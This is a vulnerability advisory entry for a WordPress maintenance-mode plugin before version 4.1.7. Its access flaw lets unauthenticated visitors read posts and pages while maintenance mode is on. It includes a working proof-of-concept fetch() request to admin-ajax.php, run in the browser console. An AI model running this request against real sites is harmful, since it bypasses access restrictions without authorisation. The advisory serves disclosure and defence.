Coming Soon & Maintenance < 4.1.7 - Unauthenticated Post/Page Access in Maintenance Mode

2023-03-0700:00:00

wpvulndb

unauthenticated access

maintenance mode

developer console

web browser

command

exploit

0.003 Low

EPSS

Percentile

65.6%

JSON

The plugin does not restrict access to published and non protected posts/pages when the maintenance mode is enabled, allowing unauthenticated users to access them

Run the below command in the developer console of the web browser while being on the blog as unauthenticated, when maintenance mode is enabled

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=cmp_get_post_detail&id=42',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

0.003 Low

EPSS

Percentile

65.6%

JSON

Related for WPEX-ID:2E07FFD9-8E82-4078-96AA-162EF78C417B